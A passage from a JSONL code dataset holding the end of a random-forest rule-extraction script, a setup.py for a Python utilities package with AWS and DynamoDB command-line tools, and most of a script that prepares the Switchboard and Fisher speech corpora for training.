OneHotEncoder(), [0]) ], remainder='passthrough')\n\nX_train = preprocessor.fit_transform(X_train)\nX_test = preprocessor.transform(X_test)\n\ncolumns = preprocessor.get_feature_names_out()\n\ncolumns_before = ['feat_'+str(i)+'_<' for i in range(X_train.shape[1])]+['feat_'+str(i)+'_>=' for i in range(X_train.shape[1])]\ndict_columns = {}\nfor c in range(len(columns)):\n info = columns[c].split('__x')[-1]\n index = info.split('_')[0]\n category = info.split('_')[-1]\n if index==category:\n dict_columns[columns_before[c]] = features[int(index)]+'_'+columns_before[c].split('_')[-1]\n dict_columns[columns_before[c+len(columns_before)//2]] = features[int(index)]+'_'+columns_before[c+len(columns_before)//2].split('_')[-1]\n else:\n dict_columns[columns_before[c]] = features[int(index)]+'_'+category+'_!='\n dict_columns[columns_before[c+len(columns_before)//2]] = features[int(index)]+'_'+category+'_='\n\n\nRF_options = {'max_depth':20, 'min_group_size':5, 'n_trees':100,\n 'replacement':True,'percen_L':0.8, 'percen_M':1,'seed':seed}\n\nmyforest = RandomForest(percen_L = RF_options['percen_L'],percen_M=RF_options['percen_M'],\n n_trees=RF_options['n_trees'],replacement = RF_options['replacement'],\n max_depth=RF_options['max_depth'],min_group_size=RF_options['min_group_size'], random_state=RF_options['seed'])\n\ndf_forest = myforest.fit(X_train,y_train)\nprint('(%) Error training data:',error_rate(y_train,myforest.predict(X_train)))\nprint('(%) Error Testing data:',error_rate(y_test,myforest.predict(X_test)))\n\n\nvalue = 1 # Hypo\n\nrules = []\n\nfor tree in df_forest.tree.unique():\n df_tree = df_forest.loc[df_forest.tree==tree]\n leaf_interest = df_tree.loc[df_tree.value==value]\n\n for i in leaf_interest.index:\n rule = [[df_tree.loc[i,'feat_index'],df_tree.loc[i,'th'],df_tree.loc[i,'side']]]\n rule = back_rule(rule,df_tree,i)\n rules.append(rule)\n\n\nfor i,r in enumerate(rules):\n df_rule = test_rules(X_test,y_test,r,value)\n\n if i==0:\n df_rules = df_rule\n else:\n df_rules = pd.concat([df_rules,df_rule])\n\n\ndf_rules = df_rules.rename(columns=dict_columns)\ndf_rules.to_csv('results/rules_T1D_PA.csv',index=False)\n\n","repo_name":"vlt-ro/random_forest_rules_extraction","sub_path":"T1D_PA_randomForest_Rules.py","file_name":"T1D_PA_randomForest_Rules.py","file_ext":"py","file_size_in_byte":3889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"43470906921","text":"from setuptools import setup, find_packages\nimport os\n\nhere = os.path.dirname(os.path.realpath(__file__))\n\n\ndef get_install_requires():\n with open(os.path.join(here, 'requirements.txt'), 'r') as f:\n return f.read().splitlines()\n\n\ndef get_version():\n with open(os.path.join(here, 'version.txt'), 'r') as f:\n return f.readline().split()[0] # Filter out other junk\n\n\nsetup(\n name='tlx',\n version=get_version(),\n description='Frequently used utilities and code.',\n url='https://github.com/eL0ck/tlx',\n author='eL0ck',\n author_email='tpj800@gmail.com',\n license='Apache',\n python_requires='>=3.6, <4',\n packages=find_packages(),\n install_requires=get_install_requires(),\n entry_points={\n 'console_scripts': [\n 'get-aws-creds=tlx.util.cli_apps.get_aws_creds:main',\n 'dynamo-batch-write=tlx.dynamodb.cli_apps.dynamodb_batch_write:dbw',\n 'dynamo-clear-table=tlx.dynamodb.cli_apps.dynamodb_clear_table:dct',\n ],\n },\n data_files=[\n 'version.txt',\n 'requirements.txt',\n ],\n zip_safe=False,\n)\n","repo_name":"tlelson/tlx","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12037132674","text":"\"\"\"\nThis script prepares the data of the switchboard-1 release 2 corpus (LDC97S62).\nOptionally, the Fisher corpus transcripts (LDC2004T19 and LDC2005T19) can be added to\nthe CSVs for Tokenizer and LM training.\nThe test set is based on the eval2000/Hub 5 data (LDC2002S09/LDC2002T43).\n\nThe datasets can be obtained from:\n- Switchboard: https://catalog.ldc.upenn.edu/LDC97S62\n- Fisher part 1: https://catalog.ldc.upenn.edu/LDC2004T19\n- Fisher part 2: https://catalog.ldc.upenn.edu/LDC2005T19\n\nThe test data is available at:\n- Speech data: https://catalog.ldc.upenn.edu/LDC2002S09\n- Transcripts: https://catalog.ldc.upenn.edu/LDC2002T43\n\nAuthor\n------\nDominik Wagner 2022\n\"\"\"\n\nimport re\nimport csv\nimport logging\nimport os\nfrom collections import defaultdict\n\nfrom speechbrain.dataio.dataio import merge_csvs\nfrom speechbrain.utils.data_utils import download_file, get_all_files\n\nlogging.basicConfig()\nlogging.getLogger().setLevel(logging.INFO)\nlogger = logging.getLogger(__name__)\nSAMPLERATE = 8000\n\n\ndef prepare_switchboard(\n data_folder,\n save_folder,\n splits=None,\n split_ratio=None,\n merge_lst=None,\n merge_name=None,\n skip_prep=False,\n add_fisher_corpus=False,\n max_utt=300,\n):\n \"\"\"\n Main function for Switchboard data preparation.\n\n Parameters\n ----------\n data_folder : str\n Path to the folder where the Switchboard (and Fisher) datasets are stored.\n Note that the Fisher data must be stored (or at least symlinked)\n to the same location.\n save_folder : str\n The directory to store the outputs generated by this script.\n splits : list\n A list of data splits you want to obtain from the Switchboard dataset.\n This would be usually [\"train\", \"dev\"] since the \"test\" set is generated\n separately using the Hub5/eval2000 portion of the Switchboard corpus.\n The default split is into a [\"train\", \"dev\"] portion based on\n the split_ratio argument.\n split_ratio : list\n List containing the portions you want to allocate to\n each of your data splits e.g. [90, 10]. The default is [90, 10].\n merge_lst : list\n This allows you to merge some (or all) of the data splits you specified\n (e.g. [\"train\", \"dev\"]) into a single file. The default is [], i.e. no merging.\n merge_name : str\n Name of the merged csv file.\n skip_prep : bool\n If True, data preparation is skipped.\n add_fisher_corpus : bool\n If True, a separate csv file called \"train_lm.csv\" will be created containing\n the Switchboard training data and the Fisher corpus transcripts.\n The \"train_lm.csv\" file can be used instead of the regular \"train.csv\" file\n for LM and Tokenizer training.\n Note that this requires the Fisher corpus (part 1 and part 2)\n to be downloaded in your data_folder location.\n max_utt : int\n Remove excess utterances once they appear more than a specified\n number of times with the same transcription, in a data set.\n This is useful for removing utterances like \"uh-huh\" from training.\n\n Example\n -------\n >>> data_folder = \"/nfs/data/ldc\"\n >>> save_folder = \"swbd_data\"\n >>> splits = [\"train\", \"dev\"]\n >>> split_ratio = [90, 10]\n >>> prepare_switchboard(data_folder, save_folder, splits, split_ratio, add_fisher_corpus=True)\n \"\"\"\n if merge_lst is None:\n merge_lst = []\n if split_ratio is None:\n split_ratio = [90, 10]\n if splits is None:\n splits = [\"train\", \"dev\"]\n if skip_prep:\n logger.info(\"Data preparation skipped manually via hparams\")\n return\n\n filenames = []\n for split in splits:\n filenames.append(os.path.join(save_folder, str(split + \".csv\")))\n if add_fisher_corpus:\n filenames.append(os.path.join(save_folder, \"train_lm.csv\"))\n filenames.append(os.path.join(save_folder, \"test.csv\"))\n\n if skip(*filenames):\n logger.info(\"Preparation completed in previous run, skipping.\")\n return\n\n swbd_train_lines = swbd1_data_prep(\n data_folder,\n save_folder,\n splits,\n split_ratio,\n add_fisher_corpus=add_fisher_corpus,\n max_utt=max_utt,\n )\n\n # Merging csv file if needed\n maybe_merge_files(merge_name, merge_lst)\n\n # Prepare eval2000 testset\n eval2000_data_prep(data_folder, save_folder)\n\n if add_fisher_corpus:\n fisher_lines = fisher_data_prep(data_folder, save_folder)\n # fisher_lines already contains a header, so we don't need to add one here\n combined_lines = fisher_lines + swbd_train_lines\n\n csv_file = os.path.join(save_folder, \"train_lm.csv\")\n # We set max_utt to a large number, so all utterances will be included in train_lm.csv\n # Note that the Kaldi recipe also doesn't care about a maximum utterance number in the\n # LM training corpus.\n write_csv(csv_file, combined_lines, utt_id_idx=1, max_utt=999999999)\n\n logger.info(\"Switchboard data preparation finished.\")\n\n\ndef write_csv(csv_file, csv_lines, utt_id_idx=0, max_utt=300):\n \"\"\"\n Write utterances to a .csv file.\n\n Parameters\n ----------\n csv_file : str\n Full path of the file to save\n csv_lines : list\n A list of lists containing the data to write to the .csv file.\n utt_id_idx : int\n Element in the list representing a line that marks the utterance id.\n This is necessary to keep track of duplicate utterances.\n max_utt : int\n Maximum number of duplicate utterances to be written.\n Once max_utt is exceeded, any lines containing the same\n utterance will not be written to the .csv file\n \"\"\"\n\n # Keep track of the number of times each utterance appears\n utt2count = defaultdict(int)\n\n with open(csv_file, mode=\"w\") as csv_f:\n csv_writer = csv.writer(\n csv_f, delimiter=\",\", quotechar='\"', quoting=csv.QUOTE_MINIMAL\n )\n\n for line in csv_lines:\n current_utt = line[utt_id_idx]\n # Avoid that the same utterance becomes part of the dataset too often\n if utt2count[current_utt] < max_utt:\n csv_writer.writerow(line)\n\n utt2count[current_utt] += 1\n\n\ndef maybe_merge_files(merge_name, merge_lst: list):\n \"\"\"\n\n Merge multiple .csv files and store the combined data in a new file.\n\n Parameters\n ----------\n merge_name : str\n New name to save the combined files under.\n merge_lst : list\n List of data splits to be merged.\n\n \"\"\"\n if len(merge_lst) > 1:\n if merge_name is not None and len(merge_name) > 0:\n merge_files = [data_split + \".csv\" for data_split in merge_lst]\n merge_csvs(\n data_folder=save_folder,\n csv_lst=merge_files,\n merged_csv=merge_name,\n )\n else:\n logger.warning(\n \"No name for merged .csv supplied. \"\n \"You can pass a name for the merged .csv files \"\n \"via the merge_name parameter. Not combining any .csv files!\"\n )\n\n\ndef check_data_folder(root_folder):\n \"\"\"\n Check if all directories exist to prepare the Switchboard dataset.\n\n Parameters\n ----------\n root_folder : str\n Root directory, where the Switchboard data is located.\n Expects the following subdirectories to exist:\n \"docs\", \"swb1_d1\", \"swb1_d2\", \"swb1_d3\", \"swb1_d4\"\n \"\"\"\n for sub_folder in [\"docs\", \"swb1_d1\", \"swb1_d2\", \"swb1_d3\", \"swb1_d4\"]:\n swbd_folder = os.path.join(root_folder, sub_folder)\n if not os.path.exists(swbd_folder):\n err_msg = f\"The folder {swbd_folder} does not exist (it is expected in the Switchboard dataset)\"\n raise OSError(err_msg)\n\n\ndef download_transcripts(target_folder):\n \"\"\"\n Download and unpack Switchboard transcripts from OpenSLR.\n\n Parameters\n ----------\n target_folder : str\n Desired location to store the transcripts.\n \"\"\"\n transcription_dir = os.path.join(target_folder, \"swb_ms98_transcriptions\")\n\n if not os.path.exists(transcription_dir):\n logger.info(\n f\"Download transcriptions and store them in {target_folder}\"\n )\n\n download_source = \"http://www.openslr.org/resources/5/switchboard_word_alignments.tar.gz\"\n download_target = os.path.join(\n target_folder, \"switchboard_word_alignments.tar.gz\"\n )\n download_file(download_source, download_target, unpack=True)\n else:\n logger.info(\n f\"Skipping download of transcriptions because {target_folder} already exists.\"\n )\n\n\ndef skip(*filenames):\n \"\"\"\n Detects if the Switchboard data preparation has already been done.\n\n Returns\n -------\n bool\n if True, the preparation phase can be skipped.\n if False, preparation must be done.\n \"\"\"\n for filename in filenames:\n if not os.path.isfile(filename):\n return False\n return True\n\n\ndef filter_text(\n transcription: str, dataset=\"train\", acronyms=None, acronyms_noi=None\n):\n \"\"\"\n This function takes a string representing a sentence in one\n of the datasets and cleans it using various regular expressions.\n The types of regular expressions applied depend on the dataset.\n\n Parameters\n ----------\n transcription : str\n A transcribed sentence\n dataset : str\n Either \"train\", \"eval2000\", or \"fisher\" depending on the type\n of data you want to clean.\n acronyms : dict\n Dictionary mapping acronyms to Fisher convention (only relevant for swbd1 training data)\n acronyms_noi : dict\n Dictionary mapping acronyms to Fisher convention without I (only relevant for swbd1 training data)\n\n Returns\n -------\n A string containing the cleaned sentence.\n\n \"\"\"\n dataset = dataset.strip().lower()\n\n if dataset == \"train\":\n # This is similar to what swbd1_data_prep.sh and swbd1_map_words.pl does.\n transcription = re.sub(\n r\"\\[SILENCE\\]\", \"\", transcription, flags=re.IGNORECASE\n )\n transcription = re.sub(r\"<.*?>\", \"\", transcription)\n transcription = match_swbd1(transcription.strip())\n\n transcription = re.sub(r\"\\s\\s+\", \" \", transcription)\n\n # Convert acronyms to Fisher convention\n if len(transcription) > 0:\n transcription = map_acronyms(acronyms, acronyms_noi, transcription)\n\n # Split acronyms written as u._c._l._a._ into single characters (e.g. u c l a)\n transcription = remove_acronym_symbols(transcription)\n transcription = transcription.upper().strip()\n\n elif dataset in [\"eval2000\", \"hub5\", \"test\"]:\n # This is similar to what eval2000_data_prep.sh does.\n transcription = match_eval2000(transcription.strip())\n elif dataset == \"fisher\":\n # This is similar to what fisher_data_prep.sh does.\n transcription = match_fisher(transcription.strip())\n else:\n raise NameError(f\"Invalid dataset descriptor '{dataset}' supplied.\")\n\n # Remove redundant whitespaces\n transcription = re.sub(r\"\\s\\s+\", \" \", transcription)\n return transcription.strip()\n\n\ndef match_swbd1(text):\n \"\"\"\n Clean transcripts in the Switchboard-1 training data.\n The transformations we do are:\n - remove laughter markings, e.g. [LAUGHTER-STORY] -> STORY\n - Remove partial-words, e.g. -[40]1K becomes -1K and -[AN]Y IY becomes -Y\n Also, curly braces, which appear to be used for \"nonstandard\"\n words or non-words, are removed, e.g. {WOLMANIZED} -> WOLMANIZED\n\n This is similar to Kaldi's swbd1_map_words.pl.\n\n Parameters\n ----------\n text : str\n Input text from the Switchboard-1 training data.\n\n Returns\n -------\n A string containing the cleaned sentence.\n \"\"\"\n tokens = text.split()\n parsed_tokens = []\n for token in tokens:\n # e.g. [LAUGHTER-STORY] -> STORY; elem 1 and 3 relate to preserving trailing \"-\"\n m = re.match(r\"(|-)^\\[LAUGHTER-(.+)\\](|-)$\", token, flags=re.IGNORECASE)\n token = \"\".join(m.group(1, 2, 3)) if m else token\n\n # e.g. [IT'N/ISN'T] -> IT'N\n # Note: 1st part may include partial-word stuff, which we process further below,\n # e.g. [LEM[GUINI]-/LINGUINI]\n m = re.match(r\"^\\[(.+)/.+\\](|-)$\", token)\n token = \"\".join(m.group(1, 2)) if m else token\n\n # e.g. -[AN]Y -> -Y\n m = re.match(r\"^(|-)\\[[^][]+\\](.+)$\", token)\n token = \"-\" + m.group(2) if m else token\n\n # e.g. AB[SOLUTE]- -> AB-;\n m = re.match(r\"^(.+)\\[[^][]+\\](|-)$\", token)\n token = \"\".join(m.group(1, 2)) if m else token\n\n # e.g. EX[SPECIALLY]-/ESPECIALLY] -> EX\n m = re.match(r\"([^][]+)\\[.+\\]$\", token)\n token = m.group(1) if m else token\n\n # e.g. {YUPPIEDOM} -> YUPPIEDOM\n m = re.match(r\"^\\{(.+)\\}$\", token)\n token = m.group(1) if m else token\n\n # e.g. AMMU[N]IT- -> AMMU-IT\n m = re.match(r\"(\\w+)\\[([^][])+\\](\\w+)\", token)\n token = m.group(1) + \"-\" + m.group(3) if m else token\n\n # e.g. THEM_1 -> THEM\n token = re.sub(r\"_\\d+$\", \"\", token)\n parsed_tokens.append(token)\n return \" \".join(parsed_tokens)\n\n\ndef match_eval2000(text):\n \"\"\"\n Clean transcripts in the 2000 Hub5 english evaluation test (LDC2002S09 LDC2002T43)\n See:\n http://www.ldc.upenn.edu/Catalog/catalogEntry.jsp?catalogId=LDC2002S09\n http://www.ldc.upenn.edu/Catalog/CatalogEntry.jsp?catalogId=LDC2002T43\n\n This is similar to eval2000_data_prep.sh\n\n Parameters\n ----------\n text : str\n Input text from the eval2000 test data.\n\n Returns\n -------\n A string containing the cleaned sentence.\n\n \"\"\"\n cleaned_text = \"\"\n\n # Remove utterance when it's just optional nonwords\n text = text.strip().upper()\n for nw in [\"UM-HUM\", \"UMM\", \"UH-HUH\", \"MHM\", \"UH-OH\"]:\n text = text.replace(nw, \"\")\n\n if \"IGNORE_TIME_SEGMENT_\" not in text:\n # Remove and .\n cleaned_text = re.sub(r\"<.*?>\", \"\", text)\n # Remove everything that is declared optional e.g. (%HESITATION) or (WE-)\n cleaned_text = re.sub(r\"[\\(\\[].*?[\\)\\]]\", \"\", cleaned_text)\n else:\n logger.debug(f\"Ignoring eval2000 segment: {text}\")\n\n return cleaned_text\n\n\ndef match_fisher(text):\n \"\"\"\n Clean transcripts in the Fisher corpus.\n\n This is similar to fisher_data_prep.sh\n\n Parameters\n ----------\n text : str\n Input text from the Fisher data.\n\n Returns\n -------\n A string containing the cleaned sentence.\n \"\"\"\n\n cleaned_text = \"\"\n\n # Remove utterance when it's just optional nonwords\n text = text.strip().upper()\n for nw in [\"UM-HUM\", \"UMM\", \"UH-HUH\", \"MHM\", \"UH-OH\"]:\n text = text.replace(nw, \"\")\n\n if \"((\" not in text:\n cleaned_text = re.sub(\n r\"\\[laugh\\]\", \"[laughter]\", text, flags=re.IGNORECASE\n )\n cleaned_text = re.sub(\n r\"\\[sigh\\]\", \"[noise]\", cleaned_text, flags=re.IGNORECASE\n )\n cleaned_text = re.sub(\n r\"\\[cough\\]\", \"[noise]\", cleaned_text, flags=re.IGNORECASE\n )\n cleaned_text = re.sub(\n r\"\\[sigh\\]\", \"[noise]\", cleaned_text, flags=re.IGNORECASE\n )\n cleaned_text = re.sub(\n r\"\\[mn\\]\", \"[noise]\", cleaned_text, flags=re.IGNORECASE\n )\n cleaned_text = re.sub(\n r\"\\[breath\\]\", \"[noise]\", cleaned_text, flags=re.IGNORECASE\n )\n cleaned_text = re.sub(\n r\"\\[lipsmack\\]\", \"[noise]\", cleaned_text, flags=re.IGNORECASE\n )\n return cleaned_text\n\n\ndef remove_acronym_symbols(text):\n \"\"\"\n Remove symbols according to the Fisher acronym convention.\n This splits acronyms written as u._c._l._a._ into single characters (e.g. u c l a)\n\n Parameters\n ----------\n text : str\n Input text\n\n Returns\n -------\n A string containing the cleaned text.\n\n \"\"\"\n cleaned_text = re.sub(r\"\\._\", \" \", text)\n cleaned_text = re.sub(r\"\\.\", \"\", cleaned_text)\n cleaned_text = re.sub(r\"them_1\", \"them\", cleaned_text, flags=re.IGNORECASE)\n return cleaned_text\n\n\ndef prepare_lexicon(lexicon_file, output_file):\n \"\"\"\n Prepare the swbd1 lexicon for further processing.\n The lexicon is used to find acronyms and to convert them into Fisher convention.\n\n Parameters\n ----------\n lexicon_file : str\n Path to the sw-ms98-dict.text file in the Switchboard corpus\n output_file : str\n Path to store the cleaned lexicon at\n\n Returns\n -------\n A list containing the cleaned lexicon entries\n\n \"\"\"\n lexicon = []\n lex_out = open(output_file, \"w\")\n with open(lexicon_file) as lf:\n # Skip first row\n next(lf)\n for line in lf:\n # Skip header\n if line.startswith(\"#\"):\n continue\n parsed_line = match_swbd1(line.strip())\n if len(parsed_line) > 0:\n lexicon.append(parsed_line)\n lex_out.write(f\"{parsed_line}\\n\")\n return lexicon\n\n\ndef make_acronym_map(save_folder, lexicon_file, acronym_map_file):\n \"\"\"\n Create mappings that can be used to convert acronyms in the Switchboard corpus\n into acronyms using the Fisher corpus convention.\n\n Examples we want to convert:\n IBM to i._b._m.\n BBC to b._b._c.\n BBCs to b._b._c.s\n\n This is what Kaldi's format_acronyms_dict.py does.\n\n Parameters\n ----------\n save_folder : str\n Folder to store the acronym map on disk\n lexicon_file : str\n Path to the sw-ms98-dict.text file\n acronym_map_file : str\n File to store the acronym map in\n\n Returns\n -------\n Two dictionaries mapping from swbd acronyms to acronyms according to the Fisher corpus convention.\n The first dict contains all entries, the other has the letter I removed.\n \"\"\"\n\n # Taken from https://github.com/kaldi-asr/kaldi/blob/master/egs/swbd/s5c/local/MSU_single_letter.txt\n msu_single_letter = [\n \"A ey\",\n \"B b iy\",\n \"C s iy\",\n \"D d iy\",\n \"E iy\",\n \"F eh f\",\n \"G jh iy\",\n \"H ey ch\",\n \"I ay\",\n \"J jh ey\",\n \"K k ey\",\n \"L eh l\",\n \"M eh m\",\n \"N eh n\",\n \"O ow\",\n \"P p iy\",\n \"Q k y uw\",\n \"R aa r\",\n \"S eh s\",\n \"T t iy\",\n \"U y uw\",\n \"V v iy\",\n \"W d ah b ax l y uw\",\n \"X eh k s\",\n \"Y w ay\",\n \"Z z iy\",\n ]\n\n fin_lex = (\n prepare_lexicon(lexicon_file, os.path.join(save_folder, \"lexicon.txt\"))\n + msu_single_letter\n )\n logger.info(\n f\"Prepared Swbd1 + MSU single letter lexicon with {len(fin_lex)} entries\"\n )\n fout_map = open(acronym_map_file, \"w\")\n\n # Initialise single letter dictionary\n dict_letter = {}\n for single_letter_lex in msu_single_letter:\n items = single_letter_lex.split()\n dict_letter[items[0]] = single_letter_lex[len(items[0]) + 1 :].strip()\n\n for lex in fin_lex:\n items = lex.split()\n word = items[0]\n lexicon = lex[len(items[0]) + 1 :].strip()\n # find acronyms from words with only letters and '\n pre_match = re.match(r\"^[A-Za-z]+$|^[A-Za-z]+\\'s$|^[A-Za-z]+s$\", word)\n if pre_match:\n # find if words in the form of xxx's is acronym\n if word[-2:] == \"'s\" and (lexicon[-1] == \"s\" or lexicon[-1] == \"z\"):\n actual_word = word[:-2]\n actual_lexicon = lexicon[:-2]\n acronym_lexicon = \"\"\n for w in actual_word:\n acronym_lexicon = (\n acronym_lexicon + dict_letter[w.upper()] + \" \"\n )\n if acronym_lexicon.strip() == actual_lexicon:\n acronym_mapped = \"\"\n acronym_mapped_back = \"\"\n for w in actual_word[:-1]:\n acronym_mapped = acronym_mapped + w.lower() + \"._\"\n acronym_mapped_back = (\n acronym_mapped_back + w.lower() + \" \"\n )\n acronym_mapped = (\n acronym_mapped + actual_word[-1].lower() + \".'s\"\n )\n acronym_mapped_back = (\n acronym_mapped_back + actual_word[-1].lower() + \"'s\"\n )\n fout_map.write(\n word\n + \"\\t\"\n + acronym_mapped\n + \"\\t\"\n + acronym_mapped_back\n + \"\\n\"\n )\n\n # find if words in the form of xxxs is acronym\n elif word[-1] == \"s\" and (lexicon[-1] == \"s\" or lexicon[-1] == \"z\"):\n actual_word = word[:-1]\n actual_lexicon = lexicon[:-2]\n acronym_lexicon = \"\"\n for w in actual_word:\n acronym_lexicon = (\n acronym_lexicon + dict_letter[w.upper()] + \" \"\n )\n if acronym_lexicon.strip() == actual_lexicon:\n acronym_mapped = \"\"\n acronym_mapped_back = \"\"\n for w in actual_word[:-1]:\n acronym_mapped = acronym_mapped + w.lower() + \"._\"\n acronym_mapped_back = (\n acronym_mapped_back + w.lower() + \" \"\n )\n acronym_mapped = (\n acronym_mapped + actual_word[-1].lower() + \".s\"\n )\n acronym_mapped_back = (\n acronym_mapped_back + actual_word[-1].lower() + \"'s\"\n )\n fout_map.write(\n word\n + \"\\t\"\n + acronym_mapped\n + \"\\t\"\n + acronym_mapped_back\n + \"\\n\"\n )\n\n # find if words in the form of xxx (not ended with 's or s) is acronym\n elif word.find(\"'\") == -1 and word[-1] != \"s\":\n acronym_lexicon = \"\"\n for w in word:\n acronym_lexicon = (\n acronym_lexicon + dict_letter[w.upper()] + \" \"\n )\n if acronym_lexicon.strip() == lexicon:\n acronym_mapped = \"\"\n acronym_mapped_back = \"\"\n for w in word[:-1]:\n acronym_mapped = acronym_mapped + w.lower() + \"._\"\n acronym_mapped_back = (\n acronym_mapped_back + w.lower() + \" \"\n )\n acronym_mapped = acronym_mapped + word[-1].lower() + \".\"\n acronym_mapped_back = acronym_mapped_back + word[-1].lower()\n fout_map.write(\n word\n + \"\\t\"\n + acronym_mapped\n + \"\\t\"\n + acronym_mapped_back\n + \"\\n\"\n )\n\n fout_map.close()\n\n # Load acronym map for further processing\n fin_map = open(acronym_map_file, \"r\")\n dict_acronym = {}\n dict_acronym_noi = {} # Mapping of acronyms without I, i\n for pair in fin_map:\n items = pair.split(\"\\t\")\n dict_acronym[items[0]] = items[1]\n dict_acronym_noi[items[0]] = items[1]\n fin_map.close()\n del dict_acronym_noi[\"I\"]\n del dict_acronym_noi[\"i\"]\n\n return dict_acronym, dict_acronym_noi\n\n\ndef map_acronyms(dict_acronym, dict_acronym_noi, transcription):\n \"\"\"\n Transform acronyms in Switchboard transcripts into Fisher corpus convention.\n\n Examples we want to convert:\n IBM to i._b._m.\n BBC to b._b._c.\n BBCs to b._b._c.s\n\n This is what Kaldi's map_acronyms_transcripts.py does.\n\n Parameters\n ----------\n dict_acronym : dict\n Mapping from swbd acronyms to acronyms according to the Fisher corpus convention\n dict_acronym_noi : dict\n Mapping from swbd acronyms to acronyms according to the Fisher corpus convention with the letter I removed\n transcription : str\n A sentence in the Switchboard transcripts\n Returns\n -------\n The original sentence but with acronyms according to the Fisher convention\n \"\"\"\n\n items = transcription.split()\n utt_length = len(items)\n # First pass mapping to map I as part of acronym\n for i in range(utt_length):\n if items[i] == \"I\":\n x = 0\n while i - 1 - x >= 0 and re.match(r\"^[A-Z]$\", items[i - 1 - x]):\n x += 1\n\n y = 0\n while i + 1 + y < utt_length and re.match(\n r\"^[A-Z]$\", items[i + 1 + y]\n ):\n y += 1\n\n if x + y > 0:\n for bias in range(-x, y + 1):\n items[i + bias] = dict_acronym[items[i + bias]]\n\n # Second pass mapping (not mapping 'i' and 'I')\n for i in range(len(items)):\n if items[i] in dict_acronym_noi.keys():\n items[i] = dict_acronym_noi[items[i]]\n sentence = \" \".join(items[1:])\n\n return items[0] + \" \" + sentence\n\n\ndef make_name_to_disk_dict(mapping_table: str):\n \"\"\"\n The Switchboard data is spread across 4 DVDs\n represented by directories (\"swb1_d1\", \"swb1_d2\" and so on).\n This function creates a lookup dictionary to map a given filename to the\n disk it was stored on.\n This information is useful to assemble the absolute path to the sph audio\n files.\n\n Parameters\n ----------\n mapping_table : str\n String representing the path to the mapping table file \"swb1_all.dvd.tbl\"\n provided along with the rest of the Switchboard data.\n\n Returns\n -------\n name2disk : dict\n A dictionary that maps from sph filename (key) to disk-id (value)\n \"\"\"\n name2disk = {}\n with open(mapping_table) as mt:\n for line in mt:\n split = line.split()\n name = split[1].strip()\n name2disk[name] = split[0].strip()\n return name2disk\n\n\ndef swbd1_data_prep(\n data_folder,\n save_folder,\n splits,\n split_ratio,\n add_fisher_corpus=False,\n max_utt=9999999999,\n):\n \"\"\"\n Prepare the Switchboard Phase 1 training data (LDC97S62).\n\n Parameters\n ----------\n data_folder : str\n Path to the data. Expects the LDC97S62 directory to be located there.\n save_folder :\n Path where the file output will be stored\n splits : list\n A list of data splits you want to obtain from the Switchboard dataset (usually [\"train\", \"dev\"])\n split_ratio : list\n List containing the portions you want to allocate to each of your data splits e.g. [90, 10]\n add_fisher_corpus : bool\n If True, a separate csv file called \"train_lm.csv\" will be createdm which contains\n the Switchboard training data and the Fisher corpus transcripts.\n max_utt\n Exclude utterances once they appear more than a specified number of times\n\n Returns\n -------\n A list containing the prepared data for further processing\n \"\"\"\n\n logger.info(\"Starting data preparation for main Switchboard corpus\")\n\n train_data_folder = os.path.join(data_folder, \"LDC97S62\")\n check_data_folder(train_data_folder)\n\n if not os.path.exists(save_folder):\n os.makedirs(save_folder)\n\n download_transcripts(save_folder)\n\n # Make a mapping from Switchboard acronyms to Fisher convention\n logger.info(\"Preparing acronym mappings\")\n lexicon_input_file = os.path.join(\n save_folder, \"swb_ms98_transcriptions\", \"sw-ms98-dict.text\"\n )\n acronym_map_output_file = os.path.join(save_folder, \"acronyms.map\")\n dict_acronym, dict_acronym_noi = make_acronym_map(\n save_folder, lexicon_input_file, acronym_map_output_file\n )\n\n assert len(splits) == len(split_ratio)\n if sum(split_ratio) != 100 and sum(split_ratio) != 1:\n error_msg = (\n \"Implausible split ratios! Make sure they equal to 1 (or 100).\"\n )\n raise ValueError(error_msg)\n if sum(split_ratio) == 100:\n split_ratio = [i / 100 for i in split_ratio]\n\n # collect all files containing transcriptions\n transcript_files = get_all_files(\n os.path.join(save_folder, \"swb_ms98_transcriptions\"),\n match_and=[\"trans.text\"],\n )\n split_lens = [int(i * len(transcript_files)) for i in split_ratio]\n\n name2disk = make_name_to_disk_dict(\n os.path.join(train_data_folder, \"docs/swb1_all.dvd.tbl\")\n )\n logger.info(\n f\"Made name2disk mapping dict containing {len(name2disk)} conversations.\"\n )\n\n start = 0\n stop = 0\n # We save all lines from the swbd train split, in case we want to combine them\n # with the Fisher corpus for LM and Tokenizer training later\n swbd_train_lines = []\n for i, split in enumerate(splits):\n stop += split_lens[i]\n transcript_files_split = transcript_files[start:stop]\n logger.info(\n f\"Preparing data for {split} split. \"\n f\"Split will contain {len(transcript_files_split)} \"\n f\"conversations separated by channel.\"\n )\n\n start += split_lens[i]\n\n csv_lines = [\n [\n \"ID\",\n \"duration\",\n \"start\",\n \"stop\",\n \"channel\",\n \"wav\",\n \"words\",\n \"spk_id\",\n ]\n ]\n # Open each transcription file and extract information\n for filename in transcript_files_split:\n with open(filename) as file:\n for line in file:\n str_split = line.split()\n id = str_split[0].strip()\n channel = id.split(\"-\")[0][-1]\n wav_name = id.split(\"-\")[0][:6] + \".sph\"\n spk_id = wav_name.replace(\".sph\", channel)\n wav_name = wav_name.replace(wav_name[0:2], \"sw0\")\n disk = name2disk[wav_name]\n\n wav_path = os.path.join(\n train_data_folder, disk, \"data\", wav_name\n )\n # We want the segment start and end times in samples,\n # so we can slice the segment from the tensor\n seg_start = int(float(str_split[1].strip()) * SAMPLERATE)\n seg_end = int(float(str_split[2].strip()) * SAMPLERATE)\n audio_duration = (seg_end - seg_start) / SAMPLERATE\n\n transcription = \" \".join(str_split[3:])\n cleaned_transcription = filter_text(\n transcription,\n dataset=\"train\",\n acronyms=dict_acronym,\n acronyms_noi=dict_acronym_noi,\n )\n\n # Skip empty transcriptions\n if len(cleaned_transcription) > 0:\n\n csv_lines.append(\n [\n id,\n audio_duration,\n seg_start,\n seg_end,\n channel,\n wav_path,\n cleaned_transcription,\n spk_id,\n ]\n )\n\n # We store the lines from the first split\n # (assuming this is the training data) in a separate list\n # so we can easily merge it with the Fisher data later\n if add_fisher_corpus and i == 0:\n swbd_train_lines.append([id, cleaned_transcription])\n # Setting path for the csv file\n csv_file = os.path.join(save_folder, str(split + \".csv\"))\n 